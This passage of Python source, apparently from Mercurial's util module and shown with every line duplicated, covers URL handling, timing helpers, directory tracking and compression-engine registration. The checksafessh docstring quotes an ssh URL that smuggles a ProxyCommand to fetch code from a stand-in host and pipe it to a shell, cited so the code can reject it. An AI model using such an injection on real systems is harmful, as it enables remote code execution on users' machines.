2760 s = 'bundle:' + s
2760 s = 'bundle:' + s
2761 if self.fragment:
2761 if self.fragment:
2762 s += '#' + self.fragment
2762 s += '#' + self.fragment
2763 return s
2763 return s
2764
2764
2765 s = self.scheme + ':'
2765 s = self.scheme + ':'
2766 if self.user or self.passwd or self.host:
2766 if self.user or self.passwd or self.host:
2767 s += '//'
2767 s += '//'
2768 elif self.scheme and (not self.path or self.path.startswith('/')
2768 elif self.scheme and (not self.path or self.path.startswith('/')
2769 or hasdriveletter(self.path)):
2769 or hasdriveletter(self.path)):
2770 s += '//'
2770 s += '//'
2771 if hasdriveletter(self.path):
2771 if hasdriveletter(self.path):
2772 s += '/'
2772 s += '/'
2773 if self.user:
2773 if self.user:
2774 s += urlreq.quote(self.user, safe=self._safechars)
2774 s += urlreq.quote(self.user, safe=self._safechars)
2775 if self.passwd:
2775 if self.passwd:
2776 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2776 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2777 if self.user or self.passwd:
2777 if self.user or self.passwd:
2778 s += '@'
2778 s += '@'
2779 if self.host:
2779 if self.host:
2780 if not (self.host.startswith('[') and self.host.endswith(']')):
2780 if not (self.host.startswith('[') and self.host.endswith(']')):
2781 s += urlreq.quote(self.host)
2781 s += urlreq.quote(self.host)
2782 else:
2782 else:
2783 s += self.host
2783 s += self.host
2784 if self.port:
2784 if self.port:
2785 s += ':' + urlreq.quote(self.port)
2785 s += ':' + urlreq.quote(self.port)
2786 if self.host:
2786 if self.host:
2787 s += '/'
2787 s += '/'
2788 if self.path:
2788 if self.path:
2789 # TODO: similar to the query string, we should not unescape the
2789 # TODO: similar to the query string, we should not unescape the
2790 # path when we store it, the path might contain '%2f' = '/',
2790 # path when we store it, the path might contain '%2f' = '/',
2791 # which we should *not* escape.
2791 # which we should *not* escape.
2792 s += urlreq.quote(self.path, safe=self._safepchars)
2792 s += urlreq.quote(self.path, safe=self._safepchars)
2793 if self.query:
2793 if self.query:
2794 # we store the query in escaped form.
2794 # we store the query in escaped form.
2795 s += '?' + self.query
2795 s += '?' + self.query
2796 if self.fragment is not None:
2796 if self.fragment is not None:
2797 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2797 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2798 return s
2798 return s
2799
2799
2800 __str__ = encoding.strmethod(__bytes__)
2800 __str__ = encoding.strmethod(__bytes__)
2801
2801
2802 def authinfo(self):
2802 def authinfo(self):
2803 user, passwd = self.user, self.passwd
2803 user, passwd = self.user, self.passwd
2804 try:
2804 try:
2805 self.user, self.passwd = None, None
2805 self.user, self.passwd = None, None
2806 s = bytes(self)
2806 s = bytes(self)
2807 finally:
2807 finally:
2808 self.user, self.passwd = user, passwd
2808 self.user, self.passwd = user, passwd
2809 if not self.user:
2809 if not self.user:
2810 return (s, None)
2810 return (s, None)
2811 # authinfo[1] is passed to urllib2 password manager, and its
2811 # authinfo[1] is passed to urllib2 password manager, and its
2812 # URIs must not contain credentials. The host is passed in the
2812 # URIs must not contain credentials. The host is passed in the
2813 # URIs list because Python < 2.4.3 uses only that to search for
2813 # URIs list because Python < 2.4.3 uses only that to search for
2814 # a password.
2814 # a password.
2815 return (s, (None, (s, self.host),
2815 return (s, (None, (s, self.host),
2816 self.user, self.passwd or ''))
2816 self.user, self.passwd or ''))
2817
2817
2818 def isabs(self):
2818 def isabs(self):
2819 if self.scheme and self.scheme != 'file':
2819 if self.scheme and self.scheme != 'file':
2820 return True # remote URL
2820 return True # remote URL
2821 if hasdriveletter(self.path):
2821 if hasdriveletter(self.path):
2822 return True # absolute for our purposes - can't be joined()
2822 return True # absolute for our purposes - can't be joined()
2823 if self.path.startswith(br'\\'):
2823 if self.path.startswith(br'\\'):
2824 return True # Windows UNC path
2824 return True # Windows UNC path
2825 if self.path.startswith('/'):
2825 if self.path.startswith('/'):
2826 return True # POSIX-style
2826 return True # POSIX-style
2827 return False
2827 return False
2828
2828
2829 def localpath(self):
2829 def localpath(self):
2830 if self.scheme == 'file' or self.scheme == 'bundle':
2830 if self.scheme == 'file' or self.scheme == 'bundle':
2831 path = self.path or '/'
2831 path = self.path or '/'
2832 # For Windows, we need to promote hosts containing drive
2832 # For Windows, we need to promote hosts containing drive
2833 # letters to paths with drive letters.
2833 # letters to paths with drive letters.
2834 if hasdriveletter(self._hostport):
2834 if hasdriveletter(self._hostport):
2835 path = self._hostport + '/' + self.path
2835 path = self._hostport + '/' + self.path
2836 elif (self.host is not None and self.path
2836 elif (self.host is not None and self.path
2837 and not hasdriveletter(path)):
2837 and not hasdriveletter(path)):
2838 path = '/' + path
2838 path = '/' + path
2839 return path
2839 return path
2840 return self._origpath
2840 return self._origpath
2841
2841
2842 def islocal(self):
2842 def islocal(self):
2843 '''whether localpath will return something that posixfile can open'''
2843 '''whether localpath will return something that posixfile can open'''
2844 return (not self.scheme or self.scheme == 'file'
2844 return (not self.scheme or self.scheme == 'file'
2845 or self.scheme == 'bundle')
2845 or self.scheme == 'bundle')
2846
2846
2847 def hasscheme(path):
2847 def hasscheme(path):
2848 return bool(url(path).scheme)
2848 return bool(url(path).scheme)
2849
2849
2850 def hasdriveletter(path):
2850 def hasdriveletter(path):
2851 return path and path[1:2] == ':' and path[0:1].isalpha()
2851 return path and path[1:2] == ':' and path[0:1].isalpha()
2852
2852
2853 def urllocalpath(path):
2853 def urllocalpath(path):
2854 return url(path, parsequery=False, parsefragment=False).localpath()
2854 return url(path, parsequery=False, parsefragment=False).localpath()
2855
2855
2856 def checksafessh(path):
2856 def checksafessh(path):
2857 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2857 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2858
2858
2859 This is a sanity check for ssh urls. ssh will parse the first item as
2859 This is a sanity check for ssh urls. ssh will parse the first item as
2860 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2860 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2861 Let's prevent these potentially exploited urls entirely and warn the
2861 Let's prevent these potentially exploited urls entirely and warn the
2862 user.
2862 user.
2863
2863
2864 Raises an error.Abort when the url is unsafe.
2864 Raises an error.Abort when the url is unsafe.
2865 """
2865 """
2866 path = urlreq.unquote(path)
2866 path = urlreq.unquote(path)
2867 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2867 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2868 raise error.Abort(_('potentially unsafe url: %r') %
2868 raise error.Abort(_('potentially unsafe url: %r') %
2869 (pycompat.bytestr(path),))
2869 (pycompat.bytestr(path),))
2870
2870
2871 def hidepassword(u):
2871 def hidepassword(u):
2872 '''hide user credential in a url string'''
2872 '''hide user credential in a url string'''
2873 u = url(u)
2873 u = url(u)
2874 if u.passwd:
2874 if u.passwd:
2875 u.passwd = '***'
2875 u.passwd = '***'
2876 return bytes(u)
2876 return bytes(u)
2877
2877
2878 def removeauth(u):
2878 def removeauth(u):
2879 '''remove all authentication information from a url string'''
2879 '''remove all authentication information from a url string'''
2880 u = url(u)
2880 u = url(u)
2881 u.user = u.passwd = None
2881 u.user = u.passwd = None
2882 return bytes(u)
2882 return bytes(u)
2883
2883
2884 timecount = unitcountfn(
2884 timecount = unitcountfn(
2885 (1, 1e3, _('%.0f s')),
2885 (1, 1e3, _('%.0f s')),
2886 (100, 1, _('%.1f s')),
2886 (100, 1, _('%.1f s')),
2887 (10, 1, _('%.2f s')),
2887 (10, 1, _('%.2f s')),
2888 (1, 1, _('%.3f s')),
2888 (1, 1, _('%.3f s')),
2889 (100, 0.001, _('%.1f ms')),
2889 (100, 0.001, _('%.1f ms')),
2890 (10, 0.001, _('%.2f ms')),
2890 (10, 0.001, _('%.2f ms')),
2891 (1, 0.001, _('%.3f ms')),
2891 (1, 0.001, _('%.3f ms')),
2892 (100, 0.000001, _('%.1f us')),
2892 (100, 0.000001, _('%.1f us')),
2893 (10, 0.000001, _('%.2f us')),
2893 (10, 0.000001, _('%.2f us')),
2894 (1, 0.000001, _('%.3f us')),
2894 (1, 0.000001, _('%.3f us')),
2895 (100, 0.000000001, _('%.1f ns')),
2895 (100, 0.000000001, _('%.1f ns')),
2896 (10, 0.000000001, _('%.2f ns')),
2896 (10, 0.000000001, _('%.2f ns')),
2897 (1, 0.000000001, _('%.3f ns')),
2897 (1, 0.000000001, _('%.3f ns')),
2898 )
2898 )
2899
2899
2900 _timenesting = [0]
2900 _timenesting = [0]
2901
2901
2902 def timed(func):
2902 def timed(func):
2903 '''Report the execution time of a function call to stderr.
2903 '''Report the execution time of a function call to stderr.
2904
2904
2905 During development, use as a decorator when you need to measure
2905 During development, use as a decorator when you need to measure
2906 the cost of a function, e.g. as follows:
2906 the cost of a function, e.g. as follows:
2907
2907
2908 @util.timed
2908 @util.timed
2909 def foo(a, b, c):
2909 def foo(a, b, c):
2910 pass
2910 pass
2911 '''
2911 '''
2912
2912
2913 def wrapper(*args, **kwargs):
2913 def wrapper(*args, **kwargs):
2914 start = timer()
2914 start = timer()
2915 indent = 2
2915 indent = 2
2916 _timenesting[0] += indent
2916 _timenesting[0] += indent
2917 try:
2917 try:
2918 return func(*args, **kwargs)
2918 return func(*args, **kwargs)
2919 finally:
2919 finally:
2920 elapsed = timer() - start
2920 elapsed = timer() - start
2921 _timenesting[0] -= indent
2921 _timenesting[0] -= indent
2922 stderr.write('%s%s: %s\n' %
2922 stderr.write('%s%s: %s\n' %
2923 (' ' * _timenesting[0], func.__name__,
2923 (' ' * _timenesting[0], func.__name__,
2924 timecount(elapsed)))
2924 timecount(elapsed)))
2925 return wrapper
2925 return wrapper
2926
2926
2927 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2927 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2928 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2928 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2929
2929
2930 def sizetoint(s):
2930 def sizetoint(s):
2931 '''Convert a space specifier to a byte count.
2931 '''Convert a space specifier to a byte count.
2932
2932
2933 >>> sizetoint(b'30')
2933 >>> sizetoint(b'30')
2934 30
2934 30
2935 >>> sizetoint(b'2.2kb')
2935 >>> sizetoint(b'2.2kb')
2936 2252
2936 2252
2937 >>> sizetoint(b'6M')
2937 >>> sizetoint(b'6M')
2938 6291456
2938 6291456
2939 '''
2939 '''
2940 t = s.strip().lower()
2940 t = s.strip().lower()
2941 try:
2941 try:
2942 for k, u in _sizeunits:
2942 for k, u in _sizeunits:
2943 if t.endswith(k):
2943 if t.endswith(k):
2944 return int(float(t[:-len(k)]) * u)
2944 return int(float(t[:-len(k)]) * u)
2945 return int(t)
2945 return int(t)
2946 except ValueError:
2946 except ValueError:
2947 raise error.ParseError(_("couldn't parse size: %s") % s)
2947 raise error.ParseError(_("couldn't parse size: %s") % s)
2948
2948
2949 class hooks(object):
2949 class hooks(object):
2950 '''A collection of hook functions that can be used to extend a
2950 '''A collection of hook functions that can be used to extend a
2951 function's behavior. Hooks are called in lexicographic order,
2951 function's behavior. Hooks are called in lexicographic order,
2952 based on the names of their sources.'''
2952 based on the names of their sources.'''
2953
2953
2954 def __init__(self):
2954 def __init__(self):
2955 self._hooks = []
2955 self._hooks = []
2956
2956
2957 def add(self, source, hook):
2957 def add(self, source, hook):
2958 self._hooks.append((source, hook))
2958 self._hooks.append((source, hook))
2959
2959
2960 def __call__(self, *args):
2960 def __call__(self, *args):
2961 self._hooks.sort(key=lambda x: x[0])
2961 self._hooks.sort(key=lambda x: x[0])
2962 results = []
2962 results = []
2963 for source, hook in self._hooks:
2963 for source, hook in self._hooks:
2964 results.append(hook(*args))
2964 results.append(hook(*args))
2965 return results
2965 return results
2966
2966
2967 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2967 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2968 '''Yields lines for a nicely formatted stacktrace.
2968 '''Yields lines for a nicely formatted stacktrace.
2969 Skips the 'skip' last entries, then return the last 'depth' entries.
2969 Skips the 'skip' last entries, then return the last 'depth' entries.
2970 Each file+linenumber is formatted according to fileline.
2970 Each file+linenumber is formatted according to fileline.
2971 Each line is formatted according to line.
2971 Each line is formatted according to line.
2972 If line is None, it yields:
2972 If line is None, it yields:
2973 length of longest filepath+line number,
2973 length of longest filepath+line number,
2974 filepath+linenumber,
2974 filepath+linenumber,
2975 function
2975 function
2976
2976
2977 Not be used in production code but very convenient while developing.
2977 Not be used in production code but very convenient while developing.
2978 '''
2978 '''
2979 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2979 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2980 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2980 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2981 ][-depth:]
2981 ][-depth:]
2982 if entries:
2982 if entries:
2983 fnmax = max(len(entry[0]) for entry in entries)
2983 fnmax = max(len(entry[0]) for entry in entries)
2984 for fnln, func in entries:
2984 for fnln, func in entries:
2985 if line is None:
2985 if line is None:
2986 yield (fnmax, fnln, func)
2986 yield (fnmax, fnln, func)
2987 else:
2987 else:
2988 yield line % (fnmax, fnln, func)
2988 yield line % (fnmax, fnln, func)
2989
2989
2990 def debugstacktrace(msg='stacktrace', skip=0,
2990 def debugstacktrace(msg='stacktrace', skip=0,
2991 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2991 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2992 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2992 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2993 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2993 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2994 By default it will flush stdout first.
2994 By default it will flush stdout first.
2995 It can be used everywhere and intentionally does not require an ui object.
2995 It can be used everywhere and intentionally does not require an ui object.
2996 Not be used in production code but very convenient while developing.
2996 Not be used in production code but very convenient while developing.
2997 '''
2997 '''
2998 if otherf:
2998 if otherf:
2999 otherf.flush()
2999 otherf.flush()
3000 f.write('%s at:\n' % msg.rstrip())
3000 f.write('%s at:\n' % msg.rstrip())
3001 for line in getstackframes(skip + 1, depth=depth):
3001 for line in getstackframes(skip + 1, depth=depth):
3002 f.write(line)
3002 f.write(line)
3003 f.flush()
3003 f.flush()
3004
3004
3005 class dirs(object):
3005 class dirs(object):
3006 '''a multiset of directory names from a dirstate or manifest'''
3006 '''a multiset of directory names from a dirstate or manifest'''
3007
3007
3008 def __init__(self, map, skip=None):
3008 def __init__(self, map, skip=None):
3009 self._dirs = {}
3009 self._dirs = {}
3010 addpath = self.addpath
3010 addpath = self.addpath
3011 if safehasattr(map, 'iteritems') and skip is not None:
3011 if safehasattr(map, 'iteritems') and skip is not None:
3012 for f, s in map.iteritems():
3012 for f, s in map.iteritems():
3013 if s[0] != skip:
3013 if s[0] != skip:
3014 addpath(f)
3014 addpath(f)
3015 else:
3015 else:
3016 for f in map:
3016 for f in map:
3017 addpath(f)
3017 addpath(f)
3018
3018
3019 def addpath(self, path):
3019 def addpath(self, path):
3020 dirs = self._dirs
3020 dirs = self._dirs
3021 for base in finddirs(path):
3021 for base in finddirs(path):
3022 if base in dirs:
3022 if base in dirs:
3023 dirs[base] += 1
3023 dirs[base] += 1
3024 return
3024 return
3025 dirs[base] = 1
3025 dirs[base] = 1
3026
3026
3027 def delpath(self, path):
3027 def delpath(self, path):
3028 dirs = self._dirs
3028 dirs = self._dirs
3029 for base in finddirs(path):
3029 for base in finddirs(path):
3030 if dirs[base] > 1:
3030 if dirs[base] > 1:
3031 dirs[base] -= 1
3031 dirs[base] -= 1
3032 return
3032 return
3033 del dirs[base]
3033 del dirs[base]
3034
3034
3035 def __iter__(self):
3035 def __iter__(self):
3036 return iter(self._dirs)
3036 return iter(self._dirs)
3037
3037
3038 def __contains__(self, d):
3038 def __contains__(self, d):
3039 return d in self._dirs
3039 return d in self._dirs
3040
3040
3041 if safehasattr(parsers, 'dirs'):
3041 if safehasattr(parsers, 'dirs'):
3042 dirs = parsers.dirs
3042 dirs = parsers.dirs
3043
3043
3044 def finddirs(path):
3044 def finddirs(path):
3045 pos = path.rfind('/')
3045 pos = path.rfind('/')
3046 while pos != -1:
3046 while pos != -1:
3047 yield path[:pos]
3047 yield path[:pos]
3048 pos = path.rfind('/', 0, pos)
3048 pos = path.rfind('/', 0, pos)
3049
3049
3050 # compression code
3050 # compression code
3051
3051
3052 SERVERROLE = 'server'
3052 SERVERROLE = 'server'
3053 CLIENTROLE = 'client'
3053 CLIENTROLE = 'client'
3054
3054
3055 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3055 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3056 (u'name', u'serverpriority',
3056 (u'name', u'serverpriority',
3057 u'clientpriority'))
3057 u'clientpriority'))
3058
3058
3059 class compressormanager(object):
3059 class compressormanager(object):
3060 """Holds registrations of various compression engines.
3060 """Holds registrations of various compression engines.
3061
3061
3062 This class essentially abstracts the differences between compression
3062 This class essentially abstracts the differences between compression
3063 engines to allow new compression formats to be added easily, possibly from
3063 engines to allow new compression formats to be added easily, possibly from
3064 extensions.
3064 extensions.
3065
3065
3066 Compressors are registered against the global instance by calling its
3066 Compressors are registered against the global instance by calling its
3067 ``register()`` method.
3067 ``register()`` method.
3068 """
3068 """
3069 def __init__(self):
3069 def __init__(self):
3070 self._engines = {}
3070 self._engines = {}
3071 # Bundle spec human name to engine name.
3071 # Bundle spec human name to engine name.
3072 self._bundlenames = {}
3072 self._bundlenames = {}
3073 # Internal bundle identifier to engine name.
3073 # Internal bundle identifier to engine name.
3074 self._bundletypes = {}
3074 self._bundletypes = {}
3075 # Revlog header to engine name.
3075 # Revlog header to engine name.
3076 self._revlogheaders = {}
3076 self._revlogheaders = {}
3077 # Wire proto identifier to engine name.
3077 # Wire proto identifier to engine name.
3078 self._wiretypes = {}
3078 self._wiretypes = {}
3079
3079
3080 def __getitem__(self, key):
3080 def __getitem__(self, key):
3081 return self._engines[key]
3081 return self._engines[key]
3082
3082
3083 def __contains__(self, key):
3083 def __contains__(self, key):
3084 return key in self._engines
3084 return key in self._engines
3085
3085
3086 def __iter__(self):
3086 def __iter__(self):
3087 return iter(self._engines.keys())
3087 return iter(self._engines.keys())
3088
3088
3089 def register(self, engine):
3089 def register(self, engine):
3090 """Register a compression engine with the manager.
3090 """Register a compression engine with the manager.
3091
3091
3092 The argument must be a ``compressionengine`` instance.
3092 The argument must be a ``compressionengine`` instance.
3093 """
3093 """
3094 if not isinstance(engine, compressionengine):
3094 if not isinstance(engine, compressionengine):
3095 raise ValueError(_('argument must be a compressionengine'))
3095 raise ValueError(_('argument must be a compressionengine'))
3096
3096
3097 name = engine.name()
3097 name = engine.name()
3098
3098
3099 if name in self._engines:
3099 if name in self._engines:
3100 raise error.Abort(_('compression engine %s already registered') %
3100 raise error.Abort(_('compression engine %s already registered') %
3101 name)
3101 name)
3102
3102
3103 bundleinfo = engine.bundletype()
3103 bundleinfo = engine.bundletype()
3104 if bundleinfo:
3104 if bundleinfo:
3105 bundlename, bundletype = bundleinfo
3105 bundlename, bundletype = bundleinfo
3106
3106
3107 if bundlename in self._bundlenames:
3107 if bundlename in self._bundlenames:
3108 raise error.Abort(_('bundle name %s already registered') %
3108 raise error.Abort(_('bundle name %s already registered') %
3109 bundlename)
3109 bundlename)
3110 if bundletype in self._bundletypes:
3110 if bundletype in self._bundletypes:
3111 raise error.Abort(_('bundle type %s already registered by %s') %
3111 raise error.Abort(_('bundle type %s already registered by %s') %
3112 (bundletype, self._bundletypes[bundletype]))
3112 (bundletype, self._bundletypes[bundletype]))
3113
3113
3114 # No external facing name declared.
3114 # No external facing name declared.
3115 if bundlename:
3115 if bundlename:
3116 self._bundlenames[bundlename] = name
3116 self._bundlenames[bundlename] = name
3117
3117
3118 self._bundletypes[bundletype] = name
3118 self._bundletypes[bundletype] = name
3119
3119
3120 wiresupport = engine.wireprotosupport()
3120 wiresupport = engine.wireprotosupport()
3121 if wiresupport:
3121 if wiresupport:
3122 wiretype = wiresupport.name
3122 wiretype = wiresupport.name
3123 if wiretype in self._wiretypes:
3123 if wiretype in self._wiretypes:
3124 raise error.Abort(_('wire protocol compression %s already '
3124 raise error.Abort(_('wire protocol compression %s already '
3125 'registered by %s') %
3125 'registered by %s') %
3126 (wiretype, self._wiretypes[wiretype]))
3126 (wiretype, self._wiretypes[wiretype]))
3127
3127
3128 self._wiretypes[wiretype] = name
3128 self._wiretypes[wiretype] = name
3129
3129
3130 revlogheader = engine.revlogheader()
3130 revlogheader = engine.revlogheader()
3131 if revlogheader and revlogheader in self._revlogheaders:
3131 if revlogheader and revlogheader in self._revlogheaders:
3132 raise error.Abort(_('revlog header %s already registered by %s') %
3132 raise error.Abort(_('revlog header %s already registered by %s') %
3133 (revlogheader, self._revlogheaders[revlogheader]))
3133 (revlogheader, self._revlogheaders[revlogheader]))
3134
3134
3135 if revlogheader:
3135 if revlogheader:
3136 self._revlogheaders[revlogheader] = name
3136 self._revlogheaders[revlogheader] = name
3137
3137
3138 self._engines[name] = engine
3138 self._engines[name] = engine
3139
3139
3140 @property
3140 @property
3141 def supportedbundlenames(self):
3141 def supportedbundlenames(self):
3142 return set(self._bundlenames.keys())
3142 return set(self._bundlenames.keys())
3143
3143
3144 @property
3144 @property
3145 def supportedbundletypes(self):
3145 def supportedbundletypes(self):
3146 return set(self._bundletypes.keys())
3146 return set(self._bundletypes.keys())
3147
3147
3148 def forbundlename(self, bundlename):
3148 def forbundlename(self, bundlename):
3149 """Obtain a compression engine registered to a bundle name.
3149 """Obtain a compression engine registered to a bundle name.
3150
3150
3151 Will raise KeyError if the bundle type isn't registered.
3151 Will raise KeyError if the bundle type isn't registered.
3152
3152
3153 Will abort if the engine is known but not available.
3153 Will abort if the engine is known but not available.
3154 """
3154 """
3155 engine = self._engines[self._bundlenames[bundlename]]
3155 engine = self._engines[self._bundlenames[bundlename]]
3156 if not engine.available():
3156 if not engine.available():
3157 raise error.Abort(_('compression engine %s could not be loaded') %
3157 raise error.Abort(_('compression engine %s could not be loaded') %
3158 engine.name())
3158 engine.name())
3159 return engine
3159 return engine
3160
3160
3161 def forbundletype(self, bundletype):
3161 def forbundletype(self, bundletype):
3162 """Obtain a compression engine registered to a bundle type.
3162 """Obtain a compression engine registered to a bundle type.
3163
3163
3164 Will raise KeyError if the bundle type isn't registered.
3164 Will raise KeyError if the bundle type isn't registered.
3165
3165
3166 Will abort if the engine is known but not available.
3166 Will abort if the engine is known but not available.
3167 """
3167 """
3168 engine = self._engines[self._bundletypes[bundletype]]
3168 engine = self._engines[self._bundletypes[bundletype]]
3169 if not engine.available():
3169 if not engine.available():
3170 raise error.Abort(_('compression engine %s could not be loaded') %
3170 raise error.Abort(_('compression engine %s could not be loaded') %
3171 engine.name())
3171 engine.name())
3172 return engine
3172 return engine
3173
3173
3174 def supportedwireengines(self, role, onlyavailable=True):
3174 def supportedwireengines(self, role, onlyavailable=True):
3175 """Obtain compression engines that support the wire protocol.
3175 """Obtain compression engines that support the wire protocol.
3176
3176
3177 Returns a list of engines in prioritized order, most desired first.
3177 Returns a list of engines in prioritized order, most desired first.
3178
3178
3179 If ``onlyavailable`` is set, filter out engines that can't be
3179 If ``onlyavailable`` is set, filter out engines that can't be
3180 loaded.
3180 loaded.
3181 """
3181 """
3182 assert role in (SERVERROLE, CLIENTROLE)
3182 assert role in (SERVERROLE, CLIENTROLE)
3183
3183
3184 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3184 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3185
3185
3186 engines = [self._engines[e] for e in self._wiretypes.values()]
3186 engines = [self._engines[e] for e in self._wiretypes.values()]
3187 if onlyavailable:
3187 if onlyavailable:
3188 engines = [e for e in engines if e.available()]
3188 engines = [e for e in engines if e.available()]
3189
3189
3190 def getkey(e):
3190 def getkey(e):
3191 # Sort first by priority, highest first. In case of tie, sort
3191 # Sort first by priority, highest first. In case of tie, sort
3192 # alphabetically. This is arbitrary, but ensures output is
3192 # alphabetically. This is arbitrary, but ensures output is
3193 # stable.
3193 # stable.
3194 w = e.wireprotosupport()
3194 w = e.wireprotosupport()
3195 return -1 * getattr(w, attr), w.name
3195 return -1 * getattr(w, attr), w.name
3196
3196
3197 return list(sorted(engines, key=getkey))
3197 return list(sorted(engines, key=getkey))
3198
3198
3199 def forwiretype(self, wiretype):
3199 def forwiretype(self, wiretype):
3200 engine = self._engines[self._wiretypes[wiretype]]
3200 engine = self._engines[self._wiretypes[wiretype]]
3201 if not engine.available():
3201 if not engine.available():
3202 raise error.Abort(_('compression engine %s could not be loaded') %
3202 raise error.Abort(_('compression engine %s could not be loaded') %
3203 engine.name())
3203 engine.name())
3204 return engine
3204 return engine
3205
3205
3206 def forrevlogheader(self, header):
3206 def forrevlogheader(self, header):
3207 """Obtain a compression engine registered to a revlog header.
3207 """Obtain a compression engine registered to a revlog header.
3208
3208
3209 Will raise KeyError if the revlog header value isn't registered.
3209 Will raise KeyError if the revlog header value isn't registered.
3210 """
3210 """
3211 return self._engines[self._revlogheaders[header]]
3211 return self._engines[self._revlogheaders[header]]
3212
3212
3213 compengines = compressormanager()
3213 compengines = compressormanager()
3214
3214
3215 class compressionengine(object):
3215 class compressionengine(object):
3216 """Base class for compression engines.
3216 """Base class for compression engines.
3217
3217
3218 Compression engines must implement the interface defined by this class.
3218 Compression engines must implement the interface defined by this class.
3219 """
3219 """
3220 def name(self):
3220 def name(self):
3221 """Returns the name of the compression engine.
3221 """Returns the name of the compression engine.
3222
3222
3223 This is the key the engine is registered under.
3223 This is the key the engine is registered under.
3224
3224
3225 This method must be implemented.
3225 This method must be implemented.
3226 """
3226 """
3227 raise NotImplementedError()
3227 raise NotImplementedError()
3228
3228
3229 def available(self):
3229 def available(self):
3230 """Whether the compression engine is available.
3230 """Whether the compression engine is available.
3231
3231
3232 The intent of this method is to allow optional compression engines
3232 The intent of this method is to allow optional compression engines
3233 that may not be available in all installations (such as engines relying
3233 that may not be available in all installations (such as engines relying
3234 on C extensions that may not be present).
3234 on C extensions that may not be present).
3235 """
3235 """
3236 return True
3236 return True
3237
3237
3238 def bundletype(self):
3238 def bundletype(self):
3239 """Describes bundle identifiers for this engine.
3239 """Describes bundle identifiers for this engine.
3240
3240
3241 If this compression engine isn't supported for bundles, returns None.
3241 If this compression engine isn't supported for bundles, returns None.
3242
3242
3243 If this engine can be used for bundles, returns a 2-tuple of strings of
3243 If this engine can be used for bundles, returns a 2-tuple of strings of
3244 the user-facing "bundle spec" compression name and an internal
3244 the user-facing "bundle spec" compression name and an internal
3245 identifier used to denote the compression format within bundles. To
3245 identifier used to denote the compression format within bundles. To
3246 exclude the name from external usage, set the first element to ``None``.
3246 exclude the name from external usage, set the first element to ``None``.
3247
3247
3248 If bundle compression is supported, the class must also implement
3248 If bundle compression is supported, the class must also implement
3249 ``compressstream`` and `decompressorreader``.
3249 ``compressstream`` and `decompressorreader``.
3250
3250
3251 The docstring of this method is used in the help system to tell users
3251 The docstring of this method is used in the help system to tell users
3252 about this engine.
3252 about this engine.
3253 """
3253 """
3254 return None
3254 return None
3255
3255
3256 def wireprotosupport(self):
3256 def wireprotosupport(self):
3257 """Declare support for this compression format on the wire protocol.
3257 """Declare support for this compression format on the wire protocol.
3258
3258
3259 If this compression engine isn't supported for compressing wire
3259 If this compression engine isn't supported for compressing wire
3260 protocol payloads, returns None.
3260 protocol payloads, returns None.
3261
3261
3262 Otherwise, returns ``compenginewireprotosupport`` with the following
3262 Otherwise, returns ``compenginewireprotosupport`` with the following
3263 fields:
3263 fields:
3264
3264
3265 * String format identifier
3265 * String format identifier
3266 * Integer priority for the server
3266 * Integer priority for the server
3267 * Integer priority for the client
3267 * Integer priority for the client
3268
3268
3269 The integer priorities are used to order the advertisement of format
3269 The integer priorities are used to order the advertisement of format
3270 support by server and client. The highest integer is advertised
3270 support by server and client. The highest integer is advertised
3271 first. Integers with non-positive values aren't advertised.
3271 first. Integers with non-positive values aren't advertised.
3272
3272
3273 The priority values are somewhat arbitrary and only used for default
3273 The priority values are somewhat arbitrary and only used for default
3274 ordering. The relative order can be changed via config options.
3274 ordering. The relative order can be changed via config options.
3275
3275
3276 If wire protocol compression is supported, the class must also implement
3276 If wire protocol compression is supported, the class must also implement
3277 ``compressstream`` and ``decompressorreader``.
3277 ``compressstream`` and ``decompressorreader``.
3278 """
3278 """
3279 return None
3279 return None
3280
3280
3281 def revlogheader(self):
3281 def revlogheader(self):
3282 """Header added to revlog chunks that identifies this engine.
3282 """Header added to revlog chunks that identifies this engine.
3283
3283
3284 If this engine can be used to compress revlogs, this method should
3284 If this engine can be used to compress revlogs, this method should
3285 return the bytes used to identify chunks compressed with this engine.
3285 return the bytes used to identify chunks compressed with this engine.
3286 Else, the method should return ``None`` to indicate it does not
3286 Else, the method should return ``None`` to indicate it does not
3287 participate in revlog compression.
3287 participate in revlog compression.
3288 """
3288 """
3289 return None
3289 return None
3290
3290
3291 def compressstream(self, it, opts=None):
3291 def compressstream(self, it, opts=None):
3292 """Compress an iterator of chunks.
3292 """Compress an iterator of chunks.
3293
3293
3294 The method receives an iterator (ideally a generator) of chunks of
3294 The method receives an iterator (ideally a generator) of chunks of
3295 bytes to be compressed. It returns an iterator (ideally a generator)
3295 bytes to be compressed. It returns an iterator (ideally a generator)
3296 of bytes of chunks representing the compressed output.
3296 of bytes of chunks representing the compressed output.
3297
3297
3298 Optionally accepts an argument defining how to perform compression.
